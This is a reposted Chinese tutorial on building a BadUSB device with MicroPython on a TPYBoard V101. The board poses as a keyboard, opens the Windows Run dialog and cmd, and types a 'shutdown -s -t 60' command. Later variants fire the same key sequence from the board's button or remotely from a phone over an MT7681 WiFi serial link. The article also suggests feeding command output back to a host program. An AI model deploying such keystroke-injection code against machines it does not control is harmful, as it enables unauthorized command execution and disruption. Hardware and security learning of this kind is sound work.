安全路透社
当前位置:安全路透社 > 网络转载 > 正文

利用micropython快速实现Badusb及手机摇控扩展

本文以TPYBoard开发板为例讲解了利用micropython进行HID设备测试的主要方法,使用mt7681模块进行了一个简单的实验,实现了手机摇控键盘输入的测试。

0×01引言

Micropython运行在微控制器上的Python
只要你懂python3.x,
就可以让你像使用arduino
那样进行硬件开发。随着micropython
的发布,已经有越来越多的人研究和利用其进行项目开发。本人也进行了一些研究,发现利用python
进行操作确实很方便,很简单。目前支持micropython
的开发板有很多,如pyboard
pyMagic
TPYBoard
等。

pymagic.jpg

PYmagic

pyboard.jpg

pyboard 1.0

12.png

tpyboard V102

最近从网上搞了一块TPYBoardV101(官网www.micropython.net.cn)进行了一下研究,特别是对其自身的USB-HID功能进行了测试,令人惊喜的是,你可以在仅懂python的情况下,进行HID虚拟键盘的测试。

0×02 TPYBoardV101模拟键盘

该板子的使用方法入门,本文中略过,有兴趣的可以查看其网站http://www.micropython.net.cn/support_category.php?id=2TPYBoardv101中,在进行键盘模拟时,每次发送了8个字符,只要搞清楚了这8个字符的含义,就能够进行HID模拟了。

键盘模拟时,每次要发送的8
个字,具体为BYTE1、BYTE2、 BYTE3、 BYTE4、 BYTE5 、BYTE6、 BYTE7、 BYTE8。其中BYTE1用来实现功能键:

BYTE1–
|–bit0:Left Control
按下时为1

|–bit1:Left Shift按下时为1

|–bit2:Left Alt按下时为1

|–bit3:Left GUI按下时为1

|–bit4:Right Control按下时为1

|–bit5:Right Shift按下时为1

|–bit6:Right Alt按下时为1

|–bit7:Right GUI按下时为1

BYTE3
BYTE8
是具体按键。

如:按下leftshift + a ,则发送0×02,0×00,0×04,0×00,0×00,0×00,0×00,0×00

这里以按下leftGUI+R来具体讲解实现过程。

第一步:修改boot.py文件,代码如下:

import machine
import pyb

#pyb.main('main.py')
# main script to run after this one
#pyb.usb_mode('CDC+MSC')
# act as a serial and a storage device
pyb.usb_mode('CDC+HID',hid=pyb.hid_keyboard) 

第二步,修改main.py文件,代码如下:

# main.py -- put your code here!
hid=pyb.USB_HID()
def release_key_once():
    buf = bytearray(8) # report is 8 bytes long
    buf[2] = 0
    hid.send(buf) # key released
    pyb.delay(10)
def press_key_once(key):
    buf = bytearray(8) # report is 8 bytes long
    buf[2] = key
    hid.send(buf) # key released
    pyb.delay(10)
def press_2key(key1,key2):
    buf = bytearray(8) # report is 8 bytes long
    buf[0] = key1
    buf[2] = key2
    hid.send(buf) # key released
    pyb.delay(10)
def release_2key():
    buf = bytearray(8) # report is 8 bytes long
    buf[0] = 0
    buf[2] = 0
    hid.send(buf) # key released
    pyb.delay(10)

pyb.delay(1000) #开始加入1秒延时
press_2key(0x08,0x15)#具体键值见附录部分
release_2key()

第三步,安全退出TPYBoardv101,然后按一下RST键,可以看到一秒后“运行”窗口弹出。


0×03 简单的HID测试

        测试打开“运行”窗口,输入cmd,然后弹出cmd后,输入shutdown-s -t 60 ,60秒后自动关机。如果前面已经做了boot.py的修改,这里就不需要再进行修改了,直接修改main.py就可以了。

# main.py -- put your code here!
hid=pyb.USB_HID()
def release_key_once():
    buf = bytearray(8) # report is 8 bytes long
    buf[2] = 0
    hid.send(buf) # key released
    pyb.delay(10)
def press_key_once(key):
    buf = bytearray(8) # report is 8 bytes long
    buf[2] = key
    hid.send(buf) # key released
    pyb.delay(10)
def press_2key(key1,key2):
    buf = bytearray(8) # report is 8 bytes long
    buf[0] = key1
    buf[2] = key2
    hid.send(buf) # key released
    pyb.delay(10)
def release_2key():
    buf = bytearray(8) # report is 8 bytes long
    buf[0] = 0
    buf[2] = 0
    hid.send(buf) # key released
    pyb.delay(10)
    

pyb.delay(1000) #开始加入1秒延时
press_2key(0x08,0x15)#具体键值见附录部分
release_2key()
pyb.delay(100)
a=[0x06,0x10,0x07,0x28] #cmd+enter
for i in a:
    press_key_once(i)
    release_key_once()
pyb.delay(1000)
#shutdown -s -t 60 + enter
a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]
for i in a:
    press_key_once(i)
    release_key_once()
pyb.delay(1000)

        程序运行的效果是:当开发板插入电脑后,会首先弹出“运行”窗口,然后在该窗口里输入cmd,此时弹出cmd,并在其中输入shutdown-s -t 60和回车,然后电脑在1分钟后关机。

0×04 DIY一键关机

        TPYBoardv101带着一个usr按键,可以利用这个按键来制作一键关机功能。当板子程序运行后,按下usr按键,产生中断,led3闪一下,进行关机操作。具体代码如下:

# main.py -- put your code here!
import pyb
FLAG=0 #flag标记,当为1时,关机

def release_key_once():
    buf = bytearray(8) # report is 8 bytes long
    buf[2] = 0
    hid.send(buf) # key released
    pyb.delay(10)
def press_key_once(key):
    buf = bytearray(8) # report is 8 bytes long
    buf[2] = key
    hid.send(buf) # key released
    pyb.delay(10)
def press_2key(key1,key2):
    buf = bytearray(8) # report is 8 bytes long
    buf[0] = key1
    buf[2] = key2
    hid.send(buf) # key released
    pyb.delay(10)
def release_2key():
    buf = bytearray(8) # report is 8 bytes long
    buf[0] = 0
    buf[2] = 0
    hid.send(buf) # key released
    pyb.delay(10)
    
def shutdownpc():
    global FLAG
    pyb.LED(3).on()
    FLAG=1
    pyb.delay(300)
    pyb.LED(3).off()

hid=pyb.USB_HID()    
sw=pyb.Switch()
sw.callback(shutdownpc)
while(1): #led2闪烁表示板子已经正常工作
    pyb.LED(2).toggle()
    pyb.delay(300)
    print(FLAG)
    if FLAG==1:
        pyb.delay(1000) #开始加入1秒延时
        press_2key(0x08,0x15)#具体键值见附录部分
        release_2key()
        pyb.delay(100)
        a=[0x06,0x10,0x07,0x28] #cmd+enter
        for i in a:
            press_key_once(i)
            release_key_once()
        pyb.delay(1000)
        #shutdown -s -t 60 + enter
        a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]
        for i in a:
            press_key_once(i)
            release_key_once()
        pyb.delay(1000)
        FLAG=0  

实现效果见视频:


http://v.youku.com/v_show/id_XMTYyMDQwMjgyMA==.html



0×05 用手机摇控键盘输入

这个实验中,我使用了MT7681wifi模块,该模块可以直接进行串口透传。将MT7681与TPYBoardv101进行连接,接线示意图,见下图。这里用的是TPYBoardv101的UART3,串口波特率115200。





mt7681.png





具体代码如下:




# main.py -- put your code here!
import pyb
FLAG=0

def release_key_once():
    buf = bytearray(8) # report is 8 bytes long
    buf[2] = 0
    hid.send(buf) # key released
    pyb.delay(10)
def press_key_once(key):
    buf = bytearray(8) # report is 8 bytes long
    buf[2] = key
    hid.send(buf) # key released
    pyb.delay(10)
def press_2key(key1,key2):
    buf = bytearray(8) # report is 8 bytes long
    buf[0] = key1
    buf[2] = key2
    hid.send(buf) # key released
    pyb.delay(10)
def release_2key():
    buf = bytearray(8) # report is 8 bytes long
    buf[0] = 0
    buf[2] = 0
    hid.send(buf) # key released
    pyb.delay(10)
    
def shutdownpc():
    global FLAG
    pyb.LED(3).on()
    FLAG=1
    pyb.delay(1000)
    pyb.LED(3).off()
def getchars():
    global FLAG
    pyb.LED(3).on()
    FLAG=2
    pyb.delay(1000)
    pyb.LED(3).off()    
hid=pyb.USB_HID()    
sw=pyb.Switch()
sw.callback(shutdownpc)

u1=pyb.UART(3,115200)
u1.init(115200, bits=8, parity=None, stop=1)
u1.write('Hello world!')
buf=''
#print(buf)
while(1): #led2闪烁表示板子已经正常工作
    
    buf=u1.readline()
    print(buf)
    if buf==b's':
        getchars()
    pyb.LED(2).toggle()
    pyb.delay(1300)
    
    print(FLAG)
    if FLAG==1:
        pyb.delay(1000) #开始加入1秒延时
        press_2key(0x08,0x15)#具体键值见附录部分
        release_2key()
        pyb.delay(100)
        a=[0x06,0x10,0x07,0x28] #cmd+enter
        for i in a:
            press_key_once(i)
            release_key_once()
        pyb.delay(1000)
        #shutdown -s -t 60 + enter
        a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]
        for i in a:
            press_key_once(i)
            release_key_once()
        pyb.delay(1000)
        FLAG=0
    if FLAG==2:
        pyb.delay(1000) #开始加入1秒延时
        press_2key(0x08,0x15)#具体键值见附录部分
        release_2key()
        pyb.delay(100)
        a=[0x11,0x12,0x17,0x08,0x13,0x04,0x07,0x28] #notepad+enter
        for i in a:
            press_key_once(i)
            release_key_once()
        pyb.delay(1000)
        FLAG=0     

实现效果见视频:

http://v.youku.com/v_show/id_XMTYyMDM5MjIyNA==.html

        到这一步,可以看到,手机就像一个摇控键盘一样,可以直接来控制键盘了。只需要在程序中再丰富一下,就可以做个很不错的手机键盘出来。同时,因为可以通过串口返回数据,所以可以在电脑端写个上位机,这样就可以把电脑操作的返回值返回回来。具体的扩展功能大家自己想吧,就只说到这里了。

0×06 附件


micropython的主要键值如下:

#define KEY_NONE                               0x00

#define KEY_ERRORROLLOVER                      0x01

#define KEY_POSTFAIL                           0x02

#define KEY_ERRORUNDEFINED                     0x03

#define KEY_A                                  0x04

#define KEY_B                                  0x05

#define KEY_C                                  0x06

#define KEY_D                                  0x07

#define KEY_E                                  0x08

#define KEY_F                                  0x09

#define KEY_G                                  0x0A

#define KEY_H                                  0x0B

#define KEY_I                                  0x0C

#define KEY_J                                  0x0D

#define KEY_K                                  0x0E

#define KEY_L                                  0x0F

#define KEY_M                                  0x10 

#define KEY_N                                  0x11 

#define KEY_O                                  0x12 

#define KEY_P                                  0x13

#define KEY_Q                                  0x14

#define KEY_R                                  0x15 

#define KEY_S                                  0x16 

#define KEY_T                                  0x17 

#define KEY_U                                  0x18

#define KEY_V                                  0x19

#define KEY_W                                  0x1A 

#define KEY_X                                  0x1B 

#define KEY_Y                                  0x1C

#define KEY_Z                                  0x1D

#define KEY_1_EXCLAMATION_MARK                 0x1E

#define KEY_2_AT                               0x1F

#define KEY_3_NUMBER_SIGN                      0x20

#define KEY_4_DOLLAR                           0x21

#define KEY_5_PERCENT                          0x22

#define KEY_6_CARET                            0x23

#define KEY_7_AMPERSAND                        0x24

#define KEY_8_ASTERISK                         0x25

#define KEY_9_OPARENTHESIS                     0x26

#define KEY_0_CPARENTHESIS                     0x27

#define KEY_ENTER                              0x28

#define KEY_ESCAPE                             0x29 

#define KEY_BACKSPACE                          0x2A 

#define KEY_TAB                                0x2B 

#define KEY_SPACEBAR                           0x2C

#define KEY_MINUS_UNDERSCORE                   0x2D

#define KEY_EQUAL_PLUS                         0x2E

#define KEY_OBRACKET_AND_OBRACE                0x2F 

#define KEY_CBRACKET_AND_CBRACE                0x30 

#define KEY_BACKSLASH_VERTICAL_BAR             0x31

#define KEY_NONUS_NUMBER_SIGN_TILDE            0x32

#define KEY_SEMICOLON_COLON                    0x33

#define KEY_SINGLE_AND_DOUBLE_QUOTE            0x34

#define KEY_GRAVE ACCENT AND TILDE             0x35 

#define KEY_COMMA_AND_LESS                     0x36

#define KEY_DOT_GREATER                        0x37

#define KEY_SLASH_QUESTION                     0x38

#define KEY_CAPS LOCK                          0x39

#define KEY_F1                                 0x3A 

#define KEY_F2                                 0x3B

#define KEY_F3                                 0x3C

#define KEY_F4                                 0x3D 

#define KEY_F5                                 0x3E 

#define KEY_F6                                 0x3F 

#define KEY_F7                                 0x40

#define KEY_F8                                 0x41

#define KEY_F9                                 0x42 

#define KEY_F10                                0x43

#define KEY_F11                                0x44 

#define KEY_F12                                0x45

#define KEY_PRINTSCREEN                        0x46

#define KEY_SCROLL LOCK                        0x47 

#define KEY_PAUSE                              0x48 

#define KEY_INSERT                             0x49 

#define KEY_HOME                               0x4A

#define KEY_PAGEUP                             0x4B

#define KEY_DELETE                             0x4C 

#define KEY_END1                               0x4D 

#define KEY_PAGEDOWN                           0x4E 

#define KEY_RIGHTARROW                         0x4F

#define KEY_LEFTARROW                          0x50

#define KEY_DOWNARROW                          0x51 

#define KEY_UPARROW                            0x52

#define KEY_KEYPAD_NUM_LOCK_AND_CLEAR          0x53

#define KEY_KEYPAD_SLASH                       0x54

#define KEY_KEYPAD_ASTERIKS                    0x55

#define KEY_KEYPAD_MINUS                       0x56 

#define KEY_KEYPAD_PLUS                        0x57 

#define KEY_KEYPAD_ENTER                       0x58

#define KEY_KEYPAD_1_END                       0x59

#define KEY_KEYPAD_2_DOWN_ARROW                0x5A

#define KEY_KEYPAD_3_PAGEDN                    0x5B

#define KEY_KEYPAD_4_LEFT_ARROW                0x5C

#define KEY_KEYPAD_5                           0x5D 

#define KEY_KEYPAD_6_RIGHT_ARROW               0x5E

#define KEY_KEYPAD_7_HOME                      0x5F

#define KEY_KEYPAD_8_UP_ARROW                  0x60

#define KEY_KEYPAD_9_PAGEUP                    0x61

#define KEY_KEYPAD_0_INSERT                    0x62

#define KEY_KEYPAD_DECIMAL_SEPARATOR_DELETE    0x63

#define KEY_NONUS_BACK_SLASH_VERTICAL_BAR      0x64

#define KEY_APPLICATION                        0x65

#define KEY_POWER                              0x66 

#define KEY_KEYPAD_EQUAL                       0x67 

#define KEY_F13                                0x68

#define KEY_F14                                0x69

#define KEY_F15                                0x6A 

#define KEY_F16                                0x6B 

#define KEY_F17                                0x6C

#define KEY_F18                                0x6D

#define KEY_F19                                0x6E

#define KEY_F20                                0x6F

#define KEY_F21                                0x70 

#define KEY_F22                                0x71 

#define KEY_F23                                0x72

#define KEY_F24                                0x73

#define KEY_EXECUTE                            0x74 

#define KEY_HELP                               0x75

#define KEY_MENU                               0x76 

#define KEY_SELECT                             0x77

#define KEY_STOP                               0x78

#define KEY_AGAIN                              0x79

#define KEY_UNDO                               0x7A 

#define KEY_CUT                                0x7B 

#define KEY_COPY                               0x7C

#define KEY_PASTE                              0x7D

#define KEY_FIND                               0x7E 

#define KEY_MUTE                               0x7F

#define KEY_VOLUME_UP                          0x80 

#define KEY_VOLUME_DOWN                        0x81

#define KEY_LOCKING_CAPS_LOCK                  0x82

#define KEY_LOCKING_NUM_LOCK                   0x83 

#define KEY_LOCKING_SCROLL_LOCK                0x84 

#define KEY_KEYPAD_COMMA                       0x85 

#define KEY_KEYPAD_EQUAL_SIGN                  0x86

#define KEY_INTERNATIONAL1                     0x87

#define KEY_INTERNATIONAL2                     0x88

#define KEY_INTERNATIONAL3                     0x89

#define KEY_INTERNATIONAL4                     0x8A

#define KEY_INTERNATIONAL5                     0x8B

#define KEY_INTERNATIONAL6                     0x8C

#define KEY_INTERNATIONAL7                     0x8D

#define KEY_INTERNATIONAL8                     0x8E

#define KEY_INTERNATIONAL9                     0x8F

#define KEY_LANG1                              0x90

#define KEY_LANG2                              0x91

#define KEY_LANG3                              0x92

#define KEY_LANG4                              0x93

#define KEY_LANG5                              0x94

#define KEY_LANG6                              0x95

#define KEY_LANG7                              0x96

#define KEY_LANG8                              0x97

#define KEY_LANG9                              0x98

#define KEY_ALTERNATE_ERASE                    0x99 

#define KEY_SYSREQ                             0x9A

#define KEY_CANCEL                             0x9B

#define KEY_CLEAR                              0x9C

#define KEY_PRIOR                              0x9D 

#define KEY_RETURN                             0x9E

#define KEY_SEPARATOR                          0x9F

#define KEY_OUT                                0xA0

#define KEY_OPER                               0xA1 

#define KEY_CLEAR_AGAIN                        0xA2

#define KEY_CRSEL                              0xA3

#define KEY_EXSEL                              0xA4

#define KEY_KEYPAD_00                          0xB0

#define KEY_KEYPAD_000                         0xB1 

#define KEY_THOUSANDS_SEPARATOR                0xB2 

#define KEY_DECIMAL_SEPARATOR                  0xB3 

#define KEY_CURRENCY_UNIT                      0xB4

#define KEY_CURRENCY_SUB_UNIT                  0xB5

#define KEY_KEYPAD_OPARENTHESIS                0xB6 

#define KEY_KEYPAD_CPARENTHESIS                0xB7 

#define KEY_KEYPAD_OBRACE                      0xB8 

#define KEY_KEYPAD_CBRACE                      0xB9

#define KEY_KEYPAD_TAB                         0xBA

#define KEY_KEYPAD_BACKSPACE                   0xBB 

#define KEY_KEYPAD_A                           0xBC 

#define KEY_KEYPAD_B                           0xBD 

#define KEY_KEYPAD_C                           0xBE

#define KEY_KEYPAD_D                           0xBF

#define KEY_KEYPAD_E                           0xC0 

#define KEY_KEYPAD_F                           0xC1 

#define KEY_KEYPAD_XOR                         0xC2

#define KEY_KEYPAD_CARET                       0xC3

#define KEY_KEYPAD_PERCENT                     0xC4

#define KEY_KEYPAD_LESS                        0xC5

#define KEY_KEYPAD_GREATER                     0xC6 

#define KEY_KEYPAD_AMPERSAND                   0xC7 

#define KEY_KEYPAD_LOGICAL_AND                 0xC8

#define KEY_KEYPAD_VERTICAL_BAR                0xC9

#define KEY_KEYPAD_LOGIACL_OR                  0xCA 

#define KEY_KEYPAD_COLON                       0xCB 

#define KEY_KEYPAD_NUMBER_SIGN                 0xCC 

#define KEY_KEYPAD_SPACE                       0xCD

#define KEY_KEYPAD_AT                          0xCE

#define KEY_KEYPAD_EXCLAMATION_MARK            0xCF 

#define KEY_KEYPAD_MEMORY_STORE                0xD0 

#define KEY_KEYPAD_MEMORY_RECALL               0xD1 

#define KEY_KEYPAD_MEMORY_CLEAR                0xD2

#define KEY_KEYPAD_MEMORY_ADD                  0xD3

#define KEY_KEYPAD_MEMORY_SUBTRACT             0xD4 

#define KEY_KEYPAD_MEMORY_MULTIPLY             0xD5 

#define KEY_KEYPAD_MEMORY_DIVIDE               0xD6

#define KEY_KEYPAD_PLUSMINUS                   0xD7

#define KEY_KEYPAD_CLEAR                       0xD8

#define KEY_KEYPAD_CLEAR_ENTRY                 0xD9 

#define KEY_KEYPAD_BINARY                      0xDA 

#define KEY_KEYPAD_OCTAL                       0xDB 

#define KEY_KEYPAD_DECIMAL                     0xDC

#define KEY_KEYPAD_HEXADECIMAL                 0xDD

#define KEY_LEFTCONTROL                        0xE0

#define KEY_LEFTSHIFT                          0xE1

#define KEY_LEFTALT                            0xE2

#define KEY_LEFT_GUI                           0xE3

#define KEY_RIGHTCONTROL                       0xE4

#define KEY_RIGHTSHIFT                         0xE5

#define KEY_RIGHTALT                           0xE6

#define KEY_RIGHT_GUI                          0xE7

未经允许不得转载:安全路透社 » 利用micropython快速实现Badusb及手机摇控扩展

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册